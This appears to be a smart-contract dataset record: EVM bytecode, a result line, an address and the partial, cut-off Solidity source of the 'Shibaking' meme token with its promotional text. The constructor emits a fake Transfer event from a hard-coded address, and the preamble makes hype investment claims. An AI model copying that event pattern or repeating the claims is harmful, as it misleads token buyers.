0x606060405260043610610322576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806307016f601461032757806307113965146103b55780631528f43c146104125780631b9d1bed146104a05780631fcd7ea6146104fd57806323ac3fd41461058b57806323b98f921461061957806324516000146106a75780632699a7e7146107355780632fc522201461079257806330a35ce2146107ef5780633228556f1461087d57806337dac676146108da57806339c64f1b146109685780633e8cee07146109c557806348ab41d314610a535780634dd5df8c14610ae15780635073eda314610b3e5780635532689314610b9b5780635535cd2f14610bf8578063575a772214610c555780636741953e14610cb25780636c51af6714610d405780636c9a1e2a14610d9d5780636f48806314610dfa578063705882f214610e88578063753f313f14610ee55780638703b7d814610f425780638962aead14610f9f578063911463d214610ffc57806397463b7514611059578063982270e7146110e7578063986bb99a146111445780639938be42146111a15780639cd758d01461122f5780639cf9d4c01461128c5780639d0df9b5146112e9578063a0c42ed114611377578063a66db70414611405578063a6dd06e114611493578063a7f18b5a14611521578063acbfbaac1461157e578063aeb58dc51461160c578063b03b3a0a14611669578063b2eed299146116c6578063b39f448314611754578063b3d14775146117b1578063b3d176c91461183f578063b53f4d941461189c578063b929709a146118f9578063bdf27b5014611987578063bea70578146119e4578063bfdd1a2014611a72578063cb227cae14611b00578063d0d44cca14611b8e578063d23376ec14611beb578063d4092dd214611c79578063d6dbf1c214611d07578063db6f753714611d95578063deee9adb14611e23578063e7c1283714611e80578063e7e96a4314611f0e578063ec78626f14611f9c578063f1fea32a14611ff9578063f635d16014612056578063f72d50a9146120b3578063f8bc854814612141578063fa9a4c35146121cf575b600080fd5b341561033257600080fd5b61033a61225d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561037a57808201518184015260208101905061035f565b50505050905090810190601f1680156103a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103c057600080fd5b610410600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612305565b005b341561041d57600080fd5b61042561231f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046557808201518184015260208101905061044a565b50505050905090810190601f1680156104925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ab57600080fd5b6104fb600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506123c7565b005b341561050857600080fd5b6105106123e1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610550578082015181840152602081019050610535565b50505050905090810190601f16801561057d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561059657600080fd5b61059e612489565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105de5780820151818401526020810190506105c3565b50505050905090810190601f16801561060b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561062457600080fd5b61062c612531565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561066c578082015181840152602081019050610651565b50505050905090810190601f1680156106995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106b257600080fd5b6106ba6125d9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106fa5780820151818401526020810190506106df565b50505050905090810190601f1680156107275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561074057600080fd5b610790600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612681565b005b341561079d57600080fd5b6107ed600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061269b565b005b34156107fa57600080fd5b6108026126b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610842578082015181840152602081019050610827565b50505050905090810190601f16801561086f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561088857600080fd5b6108d8600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061275d565b005b34156108e557600080fd5b6108ed612777565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561092d578082015181840152602081019050610912565b50505050905090810190601f16801561095a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561097357600080fd5b6109c3600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061281f565b005b34156109d057600080fd5b6109d8612839565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a185780820151818401526020810190506109fd565b50505050905090810190601f168015610a455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610a5e57600080fd5b610a666128e1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610aa6578082015181840152602081019050610a8b565b50505050905090810190601f168015610ad35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610aec57600080fd5b610b3c600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612989565b005b3415610b4957600080fd5b610b99600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129a3565b005b3415610ba657600080fd5b610bf6600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129bd565b005b3415610c0357600080fd5b610c53600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129d7565b005b3415610c6057600080fd5b610cb0600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129f1565b005b3415610cbd57600080fd5b610cc5612a0b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d05578082015181840152602081019050610cea565b50505050905090810190601f168015610d325780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610d4b57600080fd5b610d9b600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612ab3565b005b3415610da857600080fd5b610df8600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612acd565b005b3415610e0557600080fd5b610e0d612ae7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610e4d578082015181840152602081019050610e32565b50505050905090810190601f168015610e7a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610e9357600080fd5b610ee3600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612b8f565b005b3415610ef057600080fd5b610f40600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612ba9565b005b3415610f4d57600080fd5b610f9d600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612c1e565b005b3415610faa57600080fd5b610ffa600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612c38565b005b341561100757600080fd5b611057600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612c52565b005b341561106457600080fd5b61106c612c6c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156110ac578082015181840152602081019050611091565b50505050905090810190601f1680156110d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156110f257600080fd5b611142600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612d14565b005b341561114f57600080fd5b61119f600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612d2e565b005b34156111ac57600080fd5b6111b4612d48565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156111f45780820151818401526020810190506111d9565b50505050905090810190601f1680156112215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561123a57600080fd5b61128a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612df0565b005b341561129757600080fd5b6112e7600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612e0a565b005b34156112f457600080fd5b6112fc612e24565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561133c578082015181840152602081019050611321565b50505050905090810190601f1680156113695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561138257600080fd5b61138a612ecc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156113ca5780820151818401526020810190506113af565b50505050905090810190601f1680156113f75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561141057600080fd5b611418612f74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561145857808201518184015260208101905061143d565b50505050905090810190601f1680156114855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561149e57600080fd5b6114a661301c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156114e65780820151818401526020810190506114cb565b50505050905090810190601f1680156115135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561152c57600080fd5b61157c600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506130c4565b005b341561158957600080fd5b6115916130de565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156115d15780820151818401526020810190506115b6565b50505050905090810190601f1680156115fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561161757600080fd5b611667600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613186565b005b341561167457600080fd5b6116c4600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506131a0565b005b34156116d157600080fd5b6116d96131ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156117195780820151818401526020810190506116fe565b50505050905090810190601f1680156117465780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561175f57600080fd5b6117af600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613262565b005b34156117bc57600080fd5b6117c461327c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156118045780820151818401526020810190506117e9565b50505050905090810190601f1680156118315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561184a57600080fd5b61189a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613324565b005b34156118a757600080fd5b6118f7600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061333e565b005b341561190457600080fd5b61190c613358565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561194c578082015181840152602081019050611931565b50505050905090810190601f1680156119795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561199257600080fd5b6119e2600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613400565b005b34156119ef57600080fd5b6119f761341a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611a37578082015181840152602081019050611a1c565b50505050905090810190601f168015611a645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611a7d57600080fd5b611a856134c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611ac5578082015181840152602081019050611aaa565b50505050905090810190601f168015611af25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611b0b57600080fd5b611b1361356a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611b53578082015181840152602081019050611b38565b50505050905090810190601f168015611b805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611b9957600080fd5b611be9600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613612565b005b3415611bf657600080fd5b611bfe61362c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611c3e578082015181840152602081019050611c23565b50505050905090810190601f168015611c6b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611c8457600080fd5b611c8c6136d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611ccc578082015181840152602081019050611cb1565b50505050905090810190601f168015611cf95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611d1257600080fd5b611d1a61377c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611d5a578082015181840152602081019050611d3f565b50505050905090810190601f168015611d875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611da057600080fd5b611da8613824565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611de8578082015181840152602081019050611dcd565b50505050905090810190601f168015611e155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611e2e57600080fd5b611e7e600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506138cc565b005b3415611e8b57600080fd5b611e936138e6565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611ed3578082015181840152602081019050611eb8565b50505050905090810190601f168015611f005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611f1957600080fd5b611f2161398e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611f61578082015181840152602081019050611f46565b50505050905090810190601f168015611f8e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611fa757600080fd5b611ff7600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613a36565b005b341561200457600080fd5b612054600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613a50565b005b341561206157600080fd5b6120b1600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613a6a565b005b34156120be57600080fd5b6120c6613a84565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156121065780820151818401526020810190506120eb565b50505050905090810190601f1680156121335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561214c57600080fd5b612154613b2c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015612194578082015181840152602081019050612179565b50505050905090810190601f1680156121c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156121da57600080fd5b6121e2613bd4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015612222578082015181840152602081019050612207565b50505050905090810190601f16801561224f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b612265613c7c565b60198054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122fb5780601f106122d0576101008083540402835291602001916122fb565b820191906000526020600020905b8154815290600101906020018083116122de57829003601f168201915b5050505050905090565b806003908051906020019061231b929190613c90565b5050565b612327613c7c565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123bd5780601f10612392576101008083540402835291602001916123bd565b820191906000526020600020905b8154815290600101906020018083116123a057829003601f168201915b5050505050905090565b80601290805190602001906123dd929190613c90565b5050565b6123e9613c7c565b60218054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561247f5780601f106124545761010080835404028352916020019161247f565b820191906000526020600020905b81548152906001019060200180831161246257829003601f168201915b5050505050905090565b612491613c7c565b60208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125275780601f106124fc57610100808354040283529160200191612527565b820191906000526020600020905b81548152906001019060200180831161250a57829003601f168201915b5050505050905090565b612539613c7c565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125cf5780601f106125a4576101008083540402835291602001916125cf565b820191906000526020600020905b8154815290600101906020018083116125b257829003601f168201915b5050505050905090565b6125e1613c7c565b601a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126775780601f1061264c57610100808354040283529160200191612677565b820191906000526020600020905b81548152906001019060200180831161265a57829003601f168201915b5050505050905090565b80601f9080519060200190612697929190613c90565b5050565b80601390805190602001906126b1929190613c90565b5050565b6126bd613c7c565b60148054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156127535780601f1061272857610100808354040283529160200191612753565b820191906000526020600020905b81548152906001019060200180831161273657829003601f168201915b5050505050905090565b8060089080519060200190612773929190613c90565b5050565b61277f613c7c565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128155780601f106127ea57610100808354040283529160200191612815565b820191906000526020600020905b8154815290600101906020018083116127f857829003601f168201915b5050505050905090565b8060059080519060200190612835929190613c90565b5050565b612841613c7c565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128d75780601f106128ac576101008083540402835291602001916128d7565b820191906000526020600020905b8154815290600101906020018083116128ba57829003601f168201915b5050505050905090565b6128e9613c7c565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561297f5780601f106129545761010080835404028352916020019161297f565b820191906000526020600020905b81548152906001019060200180831161296257829003601f168201915b5050505050905090565b806010908051906020019061299f929190613c90565b5050565b80601990805190602001906129b9929190613c90565b5050565b80601890805190602001906129d3929190613c90565b5050565b80600190805190602001906129ed929190613c90565b5050565b80601d9080519060200190612a07929190613c90565b5050565b612a13613c7c565b600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612aa95780601f10612a7e57610100808354040283529160200191612aa9565b820191906000526020600020905b815481529060010190602001808311612a8c57829003601f168201915b5050505050905090565b8060119080519060200190612ac9929190613c90565b5050565b80600c9080519060200190612ae3929190613c90565b5050565b612aef613c7c565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b855780601f10612b5a57610100808354040283529160200191612b85565b820191906000526020600020905b815481529060010190602001808311612b6857829003601f168201915b5050505050905090565b8060169080519060200190612ba5929190613c90565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c0457600080fd5b80601a9080519060200190612c1a929190613c90565b5050565b8060049080519060200190612c34929190613c90565b5050565b8060179080519060200190612c4e929190613c90565b5050565b80601b9080519060200190612c68929190613c90565b5050565b612c74613c7c565b601b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612d0a5780601f10612cdf57610100808354040283529160200191612d0a565b820191906000526020600020905b815481529060010190602001808311612ced57829003601f168201915b5050505050905090565b8060069080519060200190612d2a929190613c90565b5050565b80601e9080519060200190612d44929190613c90565b5050565b612d50613c7c565b60138054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612de65780601f10612dbb57610100808354040283529160200191612de6565b820191906000526020600020905b815481529060010190602001808311612dc957829003601f168201915b5050505050905090565b8060029080519060200190612e06929190613c90565b5050565b8060099080519060200190612e20929190613c90565b5050565b612e2c613c7c565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612ec25780601f10612e9757610100808354040283529160200191612ec2565b820191906000526020600020905b815481529060010190602001808311612ea557829003601f168201915b5050505050905090565b612ed4613c7c565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612f6a5780601f10612f3f57610100808354040283529160200191612f6a565b820191906000526020600020905b815481529060010190602001808311612f4d57829003601f168201915b5050505050905090565b612f7c613c7c565b60178054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130125780601f10612fe757610100808354040283529160200191613012565b820191906000526020600020905b815481529060010190602001808311612ff557829003601f168201915b5050505050905090565b613024613c7c565b60228054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130ba5780601f1061308f576101008083540402835291602001916130ba565b820191906000526020600020905b81548152906001019060200180831161309d57829003601f168201915b5050505050905090565b80600e90805190602001906130da929190613c90565b5050565b6130e6613c7c565b601e8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561317c5780601f106131515761010080835404028352916020019161317c565b820191906000526020600020905b81548152906001019060200180831161315f57829003601f168201915b5050505050905090565b80600f908051906020019061319c929190613c90565b5050565b80600d90805190602001906131b6929190613c90565b5050565b6131c2613c7c565b601c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156132585780601f1061322d57610100808354040283529160200191613258565b820191906000526020600020905b81548152906001019060200180831161323b57829003601f168201915b5050505050905090565b80601c9080519060200190613278929190613c90565b5050565b613284613c7c565b600d8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561331a5780601f106132ef5761010080835404028352916020019161331a565b820191906000526020600020905b8154815290600101906020018083116132fd57829003601f168201915b5050505050905090565b806021908051906020019061333a929190613c90565b5050565b8060209080519060200190613354929190613c90565b5050565b613360613c7c565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133f65780601f106133cb576101008083540402835291602001916133f6565b820191906000526020600020905b8154815290600101906020018083116133d957829003601f168201915b5050505050905090565b8060159080519060200190613416929190613c90565b5050565b613422613c7c565b60108054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134b85780601f1061348d576101008083540402835291602001916134b8565b820191906000526020600020905b81548152906001019060200180831161349b57829003601f168201915b5050505050905090565b6134ca613c7c565b60118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156135605780601f1061353557610100808354040283529160200191613560565b820191906000526020600020905b81548152906001019060200180831161354357829003601f168201915b5050505050905090565b613572613c7c565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136085780601f106135dd57610100808354040283529160200191613608565b820191906000526020600020905b8154815290600101906020018083116135eb57829003601f168201915b5050505050905090565b8060229080519060200190613628929190613c90565b5050565b613634613c7c565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136ca5780601f1061369f576101008083540402835291602001916136ca565b820191906000526020600020905b8154815290600101906020018083116136ad57829003601f168201915b5050505050905090565b6136dc613c7c565b601d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156137725780601f1061374757610100808354040283529160200191613772565b820191906000526020600020905b81548152906001019060200180831161375557829003601f168201915b5050505050905090565b613784613c7c565b60098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561381a5780601f106137ef5761010080835404028352916020019161381a565b820191906000526020600020905b8154815290600101906020018083116137fd57829003601f168201915b5050505050905090565b61382c613c7c565b60168054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138c25780601f10613897576101008083540402835291602001916138c2565b820191906000526020600020905b8154815290600101906020018083116138a557829003601f168201915b5050505050905090565b80600a90805190602001906138e2929190613c90565b5050565b6138ee613c7c565b60188054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156139845780601f1061395957610100808354040283529160200191613984565b820191906000526020600020905b81548152906001019060200180831161396757829003601f168201915b5050505050905090565b613996613c7c565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a2c5780601f10613a0157610100808354040283529160200191613a2c565b820191906000526020600020905b815481529060010190602001808311613a0f57829003601f168201915b5050505050905090565b80600b9080519060200190613a4c929190613c90565b5050565b8060079080519060200190613a66929190613c90565b5050565b8060149080519060200190613a80929190613c90565b5050565b613a8c613c7c565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613b225780601f10613af757610100808354040283529160200191613b22565b820191906000526020600020905b815481529060010190602001808311613b0557829003601f168201915b5050505050905090565b613b34613c7c565b601f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613bca5780601f10613b9f57610100808354040283529160200191613bca565b820191906000526020600020905b815481529060010190602001808311613bad57829003601f168201915b5050505050905090565b613bdc613c7c565b60158054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613c725780601f10613c4757610100808354040283529160200191613c72565b820191906000526020600020905b815481529060010190602001808311613c5557829003601f168201915b5050505050905090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613cd157805160ff1916838001178555613cff565b82800160010185558215613cff579182015b82811115613cfe578251825591602001919060010190613ce3565b5b509050613d0c9190613d10565b5090565b613d3291905b80821115613d2e576000816000905550600101613d16565b5090565b905600a165627a7a72305820c321fa2f5bc367f5e8ab9161ac93f03615198d2ef1bb968b1596d431ebf049bb0029
{"success": true, "error": null, "results": {}}
446
0xb7e128e1e21ec5821fa973a75f6e38f5abf1307e
/* Shibaking ($SKING) https://t.me/ShibaKingToken _.+._ (^\/^\/^) \@*@*@/ {_____} The king of doge is here! Shiba King is on a mission to share his wealth with everyone! ShibaKing is an ERC-20 token that will link novelty and use-case in order to have a value proposition where a token appeals to a wide spectrum of investors and developers. We want to be a platform linking investors, market- ers, and developers creating a safer group of tokens that aims to be transparent and increase the market cap of strong fundamental smart. - Store of Value + Transactional Currency As a decentralized currency secured by millions of computers worldwide on the Ethereum blockchain, $SKING can be used as both a store of value and a means of transaction. SKING’s unique limited supply makes it especially ideal as a store of value with unlimited upside. - Tokenomics 15.5% initial burn We have burned our initial token supply by 15.5%. 5% Redstribution For being a holder of $SKING you will automatically gain SKING with every transaction on the network - ShibaKing Developer Program (Q4) Access to a set of valuable services provided through our accelerator program, including: Token Engineering, Security Audits, Graphical and Web3, Social Media, and Branding support */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Shibaking is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Shibaking"; string private constant _symbol = "SKING"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x5922b0BBAe5182f2B70609f5dFD08f7DA561F5A4), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function 